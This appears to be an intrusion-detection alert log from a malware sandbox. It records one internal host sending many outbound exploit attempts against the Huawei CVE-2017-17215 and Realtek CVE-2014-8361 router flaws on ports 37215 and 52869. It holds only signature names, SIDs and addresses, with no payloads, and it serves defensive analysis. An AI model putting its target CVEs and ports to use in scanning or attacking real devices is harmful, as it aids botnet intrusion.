Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	54996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.198.119

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	55828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 61.39.146.236

Timestamp:	07/20/24-23:10:41.232384
SID:	2835222
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.202.234.239

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.84.141.243

Timestamp:	07/20/24-23:10:52.005273
SID:	2027339
Source Port:	54290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.82.157

Timestamp:	07/20/24-23:10:59.001293
SID:	2835222
Source Port:	43232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.167.79

Timestamp:	07/20/24-23:10:55.979374
SID:	2829579
Source Port:	40564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.148.136.213

Timestamp:	07/20/24-23:10:59.012071
SID:	2829579
Source Port:	36778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.23.216

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.13.92.10

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.41.106.4

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	59632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.124.27

Timestamp:	07/20/24-23:10:42.266163
SID:	2829579
Source Port:	51356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 96.224.29.242

Timestamp:	07/20/24-23:10:42.624844
SID:	2027339
Source Port:	48724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.89.121.43

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	40044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.183.31.205

Timestamp:	07/20/24-23:10:38.988625
SID:	2027339
Source Port:	39574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 158.108.32.200

Timestamp:	07/20/24-23:10:52.061682
SID:	2831300
Source Port:	43468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 204.240.204.242

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	38064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 113.59.43.68

Timestamp:	07/20/24-23:10:39.597366
SID:	2027339
Source Port:	52370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.98.237.187

Timestamp:	07/20/24-23:10:41.234520
SID:	2829579
Source Port:	40388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.125.26.34

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	42418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 129.202.137.125

Timestamp:	07/20/24-23:10:51.948284
SID:	2831300
Source Port:	36830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.120.55

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 165.7.65.37

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	50268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 187.70.196.41

Timestamp:	07/20/24-23:10:43.593436
SID:	2027339
Source Port:	45792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 52.64.4.0

Timestamp:	07/20/24-23:10:52.607833
SID:	2829579
Source Port:	41444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 189.209.128.109

Timestamp:	07/20/24-23:10:39.812132
SID:	2025132
Source Port:	41042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.87.201.136

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	54702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 143.44.179.209

Timestamp:	07/20/24-23:10:52.540929
SID:	2835222
Source Port:	49796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.186.214.112

Timestamp:	07/20/24-23:10:52.021521
SID:	2027339
Source Port:	37376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.195.83

Timestamp:	07/20/24-23:10:41.221879
SID:	2829579
Source Port:	54730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 223.10.231.163

Timestamp:	07/20/24-23:10:42.639392
SID:	2831300
Source Port:	46384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.154.207

Timestamp:	07/20/24-23:11:03.361095
SID:	2829579
Source Port:	40162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 69.210.2.130

Timestamp:	07/20/24-23:10:42.629188
SID:	2027339
Source Port:	56698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.187.16.96

Timestamp:	07/20/24-23:10:40.616009
SID:	2835222
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.64.57.221

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	41130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.208.62.250

Timestamp:	07/20/24-23:10:41.220792
SID:	2829579
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.105.93.8

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	37562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 34.2.61.34

Timestamp:	07/20/24-23:10:46.932181
SID:	2027339
Source Port:	59210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.131.204

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	47660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.6.134.161

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	39906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.67.87.28

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	57716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.96.206.10

Timestamp:	07/20/24-23:10:42.625971
SID:	2027339
Source Port:	38770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 4.232.226.241

Timestamp:	07/20/24-23:10:39.394192
SID:	2025132
Source Port:	33188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.165.127

Timestamp:	07/20/24-23:10:42.248237
SID:	2835222
Source Port:	42764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 186.136.242.161

Timestamp:	07/20/24-23:10:52.061682
SID:	2027339
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.142.250.142

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	46414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.55.180.63

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.225.135.170

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 122.79.202.98

Timestamp:	07/20/24-23:10:51.957772
SID:	2027339
Source Port:	40662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.50.160.163

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	60356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.132.48.67

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	35852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 157.33.175.112

Timestamp:	07/20/24-23:10:47.988538
SID:	2027339
Source Port:	50854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.8.135.124

Timestamp:	07/20/24-23:10:46.726397
SID:	2829579
Source Port:	53846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.250.57.45

Timestamp:	07/20/24-23:10:59.004938
SID:	2829579
Source Port:	54808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.175.222.250

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	38124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 172.191.63.12

Timestamp:	07/20/24-23:10:40.656426
SID:	2835222
Source Port:	38834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.253.71.106

Timestamp:	07/20/24-23:10:52.540929
SID:	2829579
Source Port:	42110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 103.44.42.7

Timestamp:	07/20/24-23:10:52.024960
SID:	2027339
Source Port:	44888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.120.33

Timestamp:	07/20/24-23:10:56.011930
SID:	2835222
Source Port:	42534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 59.72.27.90

Timestamp:	07/20/24-23:10:43.250374
SID:	2027339
Source Port:	38830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.189.69

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	49104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.49.153.67

Timestamp:	07/20/24-23:10:49.383600
SID:	2835222
Source Port:	59808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.201.199.127

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	38198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.250.254

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	51478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.64.233.15

Timestamp:	07/20/24-23:10:51.940555
SID:	2027339
Source Port:	36014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.14.1

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.168.213.155

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	38444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.138.127.168

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	46900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.184.223.151

Timestamp:	07/20/24-23:10:51.984562
SID:	2027339
Source Port:	48238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 76.120.98.58

Timestamp:	07/20/24-23:10:47.429430
SID:	2027339
Source Port:	44782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.111.167.13

Timestamp:	07/20/24-23:10:52.010300
SID:	2027339
Source Port:	39322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 179.68.218.110

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 190.9.142.126

Timestamp:	07/20/24-23:10:47.946887
SID:	2025132
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.147.52.26

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	43948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.113.200.51

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	37900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.165.2.246

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.199.80.98

Timestamp:	07/20/24-23:10:42.640980
SID:	2027339
Source Port:	60052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 47.132.43.96

Timestamp:	07/20/24-23:10:51.983127
SID:	2831300
Source Port:	35274
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 116.183.105.217

Timestamp:	07/20/24-23:10:52.016220
SID:	2831300
Source Port:	55812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.81.113.18

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	55142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.255.13.10

Timestamp:	07/20/24-23:10:51.970585
SID:	2027339
Source Port:	47458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.226.98

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	54622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 194.51.38.79

Timestamp:	07/20/24-23:10:51.988569
SID:	2831300
Source Port:	57458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 88.192.240.239

Timestamp:	07/20/24-23:10:52.045896
SID:	2027339
Source Port:	45006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.50.118.84

Timestamp:	07/20/24-23:10:40.644796
SID:	2835222
Source Port:	56962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 159.7.254.101

Timestamp:	07/20/24-23:10:44.786243
SID:	2025132
Source Port:	32850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 115.19.25.169

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	36836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.28.237

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 190.79.37.161

Timestamp:	07/20/24-23:10:47.662315
SID:	2025132
Source Port:	58370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 145.210.186.189

Timestamp:	07/20/24-23:10:51.915099
SID:	2831300
Source Port:	59298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.141.31.68

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	33680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.144.129.13

Timestamp:	07/20/24-23:10:42.250387
SID:	2829579
Source Port:	39544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.188.170

Timestamp:	07/20/24-23:10:49.450306
SID:	2829579
Source Port:	39930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.84.141.243

Timestamp:	07/20/24-23:10:45.885505
SID:	2027339
Source Port:	52442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.63.105.252

Timestamp:	07/20/24-23:10:59.057854
SID:	2829579
Source Port:	55310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 95.10.158.177

Timestamp:	07/20/24-23:10:52.016220
SID:	2027339
Source Port:	43018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.211.189.109

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	54656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.85.172.181

Timestamp:	07/20/24-23:10:59.057855
SID:	2829579
Source Port:	49888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.83.224

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	36898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.178.128

Timestamp:	07/20/24-23:11:03.381593
SID:	2829579
Source Port:	45936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 17.184.223.151

Timestamp:	07/20/24-23:10:46.567653
SID:	2025132
Source Port:	46348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.7.41

Timestamp:	07/20/24-23:10:52.563890
SID:	2835222
Source Port:	40752
Destination Port:	37215
Protocol:	TCP
